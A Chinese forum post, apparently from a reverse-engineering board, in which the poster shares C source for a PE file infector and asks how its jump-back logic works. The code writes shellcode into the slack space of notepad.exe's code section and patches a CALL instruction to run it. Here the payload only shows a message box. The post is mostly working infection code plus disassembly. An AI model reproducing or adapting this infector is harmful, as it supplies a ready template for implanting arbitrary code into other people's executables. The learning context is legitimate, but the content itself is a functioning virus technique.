以下是PE感染源代码,代码简单,只是涉及到shellcode跳转的代码,本人想不明白,恳请指教:
/*
pe感染测试代码,pe inline call, exe感染
通过在物理pe文件.text节间空隙添加代码-shellcode,调整原代码中某个call指令的操作数为shellcode地址,
shellcode接着节代码存放。shellcode末尾有jmp至原那个call的操作数。
win2k3+sp2测试成功,弹出msg,但是之后出现异常
具体信息:http://bbs.pediy.com/showthread.php?threadid=33783
*/
// infectpe.cpp : 定义控制台应用程序的入口点。
//
//#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
#pragma comment(lib,"kernel32.lib")
#pragma comment(lib,"user32.lib")
char szHostFile[] = "C:\\Documents and Settings\\Administrator\\桌面\\PEHEX\\pehex_1\\notepad.exe" ;//宿主文件
PIMAGE_DOS_HEADER pImageDosHeader ;
PIMAGE_NT_HEADERS pImageNtHeaders ;
PIMAGE_SECTION_HEADER pImageSectionHeader,pImageSectionHeader2;
unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
"\x81\xeb\x0d\x10\x40\x00\x6a\x00"
"\x8d\x83\x30\x10\x40\x00\x50\x50"
"\x6a\x00\xb8\x78\x56\x34\x12\xff"
"\xd0\x9d\x61\xff\x25\x3a\x10\x40"
"\x00\x90\x72\x6f\x62\x69\x6e\x68"
"\x30\x30\x64\x00" ;
/*
要插入的反汇编代码thunk code:
00401006 . 60 PUSHAD
00401007 . 9C PUSHFD
00401008 . E8 00000000 CALL msg.0040100D
0040100D $ 5B POP EBX
0040100E . 81EB 0D104000 SUB EBX,msg.0040100D
00401014 . 6A 00 PUSH 0
00401016 . 8D83 30104000 LEA EAX,DWORD PTR DS:[EBX+401030]
0040101C . 50 PUSH EAX
0040101D . 50 PUSH EAX
0040101E . 6A 00 PUSH 0
00401020 . B8 78563412 MOV EAX,12345678 ;这里感染前会被替换成正确的MessageBoxA的地址
00401025 . FFD0 CALL EAX
00401027 . 9D POPFD
00401028 . 61 POPAD
00401029 . FF25 3A104000 JMP DWORD PTR DS:[40103A] ;跳到API,这里也是重点替换的地方,这里改用CALL
0040102F 90 NOP
00401030 . 72 6F 62 69 6E 68 30 30 64 00>ASCII "robinh00d",0 //\x72\x6f\x62\x69\x6e\x68\x30\x30\x64 sum:10
0040103A
*/
int main()
{
HANDLE hFile ;
HANDLE hMap ;
LPVOID pMapping ;
DWORD dwGapSize ;
unsigned char *pGapEntry ;
int i ;
PROC MsgBox ;
DWORD OldEntry ;
int x = 0x18 ;//24
int vir_len ;
unsigned char *pSearch ;
DWORD *dwCallNextAddr ;
// DWORD *dwCallDataOffset ;
DWORD *dwCallDataAddr ;
// DWORD dwCallData ;
DWORD dwCodeDistance ;
DWORD *dwJmpAddr ;
DWORD dwJmpData ;
// DWORD dwJmpVA ;
//拷贝
CopyFileA("_cc.exe",szHostFile,FALSE);
hFile = CreateFileA(szHostFile,GENERIC_ALL,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
//printf("filename:%s\n",szHostFile);
if (hFile==INVALID_HANDLE_VALUE)
{
printf("Open host file failed!\n") ;
return -1 ;
}
hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,NULL) ;
if (!hMap)
{
printf("Create file mapping falied!\n") ;
return -1 ;
}
//将一个文件映射对象映射到当前应用程序的地址空间,返回值是文件映射在内存中的起始地址
pMapping = MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0,0,0) ;
if (!pMapping)
{
printf("Map view of file failed!\n") ;
return -1 ;
}
//::::::打开目标宿主文件,先检测文件是否PE格式,定位到代码的末尾
pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping;
if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
{
pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew);
if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
{
//:::是合法的PE文件
//:::定位到节表头
pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+pImageDosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS));
pImageSectionHeader2 = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+pImageDosHeader->e_lfanew+sizeof(IMAGE_NT_HEADERS)*2);
/*
NewSection.VirtualAddress ┐
NewSection.Misc.VirtualSize ┘定位 内存中 下个节的地址
NewSection.SizeOfRawData ┐
NewSection.PointerToRawData ┘定位 磁盘中 下个节的地址
OptionalHeader.SizeOfImage - 内存中整个PE的大小
OptionalHeader.SizeOfCode - 磁盘中整个代码块的大小
*/
//:::计算第一个节的空隙大小
dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader->Misc.VirtualSize;
//空闲大小 = 下一区块文件起始地址 - 本区块文件起始地址 - 本区块SizeOfRawData
//dwGapSize = pImageSectionHeader2->PointerToRawData - pImageSectionHeader->PointerToRawData -pImageSectionHeader->Misc.VirtualSize;
//:::如果代码缝隙小于thunk code的大小则感染失败
if (sizeof(thunkcode)>dwGapSize)
{
printf("no more space to fill!\n") ;
goto Close ;
}
//:::定位到代码末尾,用于写shellcode的地址
pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+//区块文件偏移地址加装入内存中的初始地址
(DWORD)pMapping+
pImageSectionHeader->Misc.VirtualSize);
//VA = BASE + RVA
OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
pImageNtHeaders->OptionalHeader.AddressOfEntryPoint;
MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA");
//修改为当前系统的MessageBoxA地址
//DWORD,32 地址反写
//int x = 0x16 ;24
for (i=3;i>=0;i--)
{
//一次写8bits = 1 byte的内容,&0xff
thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff;
x -= 8 ;
}
//恢复
x = 24 ;
//第一个/某个section 在内存中的大小
vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
(DWORD)pMapping) ;
//:::搜索call指令(0xE8) //JMP 0xEB
for (i=0;i<vir_len;i++)
{
//这里也多加判断一下下一条指令长度
if (pSearch[i]==0xE8)
//if (pSearch[i]==0xE8&&(((DWORD*)pSearch[i+5]&0xffff)==0x15ff))
{
//:::call指令操作数地址,DWORD
dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;//这里换成msgbox proc的地址
//:::call下条指令地址,DWORD
dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;//call 四个字节操作数之后
//dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
int check = sizeof(DWORD);
dwJmpAddr = (DWORD *)(dwCallDataAddr + sizeof(DWORD));//sizeof()
//dwJmpAddr = (DWORD *)(&pSearch);
/*
win2k3+sp2测试成功,弹出msg,但是之后出现异常?
2007-03-07 20:00 1,412,096 mmc.exe
1 个文件 1,412,096 字节
0 个目录 8,695,505,408 可用字节
*/
//:::Jmp指令在内存的虚拟地址VA
/*
dwJmpVA = (DWORD)dwJmpAddr-
((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
pImageNtHeaders->OptionalHeader.ImageBase+
pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;//?
*/
/*
//崩溃
堆栈 ss:[0012FF44]=85467C77 <----------
edx=860EA11C
00401287 /0F85 D1000000 jnz list.0040135E
0040128D |8B4D E8 mov ecx,dword ptr ss:[ebp-18]
00401290 |8B55 D4 mov edx,dword ptr ss:[ebp-2C]
00401293 |8D440A 01 lea eax,dword ptr ds:[edx+ecx+1]
00401297 |8945 CC mov dword ptr ss:[ebp-34],eax <--dwCallDataAddr
0040129A |8B4D E8 mov ecx,dword ptr ss:[ebp-18]
0040129D |8B55 D4 mov edx,dword ptr ss:[ebp-2C]
004012A0 |8D440A 05 lea eax,dword ptr ds:[edx+ecx+5]
004012A4 |8945 D0 mov dword ptr ss:[ebp-30],eax <--dwCallNextAddr
004012A7 |8B4D CC mov ecx,dword ptr ss:[ebp-34]
004012AA |8B11 mov edx,dword ptr ds:[ecx] <-- *dwCallDataAddr
004012AC |0355 D0 add edx,dword ptr ss:[ebp-30] <--*dwCallDataAddr+ (DWORD)dwCallNextAddr
004012AF |8955 C4 mov dword ptr ss:[ebp-3C],edx <--- EDX =
004012B2 |8B45 C4 mov eax,dword ptr ss:[ebp-3C] <-- EAX = dwJmpAddr [0x12ff44] = 85467C77
004012B5 |8B08 mov ecx,dword ptr ds:[eax] <-- ECX = *dwJmpAddr
004012B7 |81E1 FFFF0000 and ecx,0FFFF
004012BD |81F9 FF250000 cmp ecx,25FF
004012C3 |0F85 95000000 jnz list.0040135E
*/
//if ((*dwJmpAddr&0xffff)==0x25ff)//??为什么要进行& JMP 25 ff
if ((*dwJmpAddr&0xffff)==0x15ff) //JMP 0xAABBCCDD 0x15ff 适合指令模式
{
//:::取jmp操作数,返回的时候使用
dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2));
//:::修改call操作数,空节的起始地址(shellcode)-
dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;//偏移地址
*dwCallDataAddr = dwCodeDistance ;//跳到shellcode起始地址
//:::原jmp里的操作数,替换到thunk code的末尾
for (i=3;i>=0;i--)
{
thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff;
x -= 8 ;
}
x = 24;
//把thunk code写入目标宿主程序
for (i=0;i<sizeof(thunkcode);i++)
{
pGapEntry[i] = thunkcode[i] ;
}
printf("infected ok.\n");
break ;
}
}
}
}
}
else
{
printf("Invalid file format!\n") ;
}
Close:
UnmapViewOfFile(pMapping) ;
CloseHandle(hMap) ;
CloseHandle(hFile) ;
return 0 ;
}
请问:dwJmpAddr = (DWORD *)(dwCallDataAddr + sizeof(DWORD));dwJmpAddr指的应该是jmp指令的地址,它与它之前的call指令有什么关系,该jmp指令是如何被找到的?cal随后的操作数改为shellcode的地址后,在shellcode后段添加jmp指令的操作数以跳转回代码段的相关地址中,不明白该jmp指令的作用以及操作数代表着什么??请高手赐教...
[课程]Android-CTF解题方法汇总!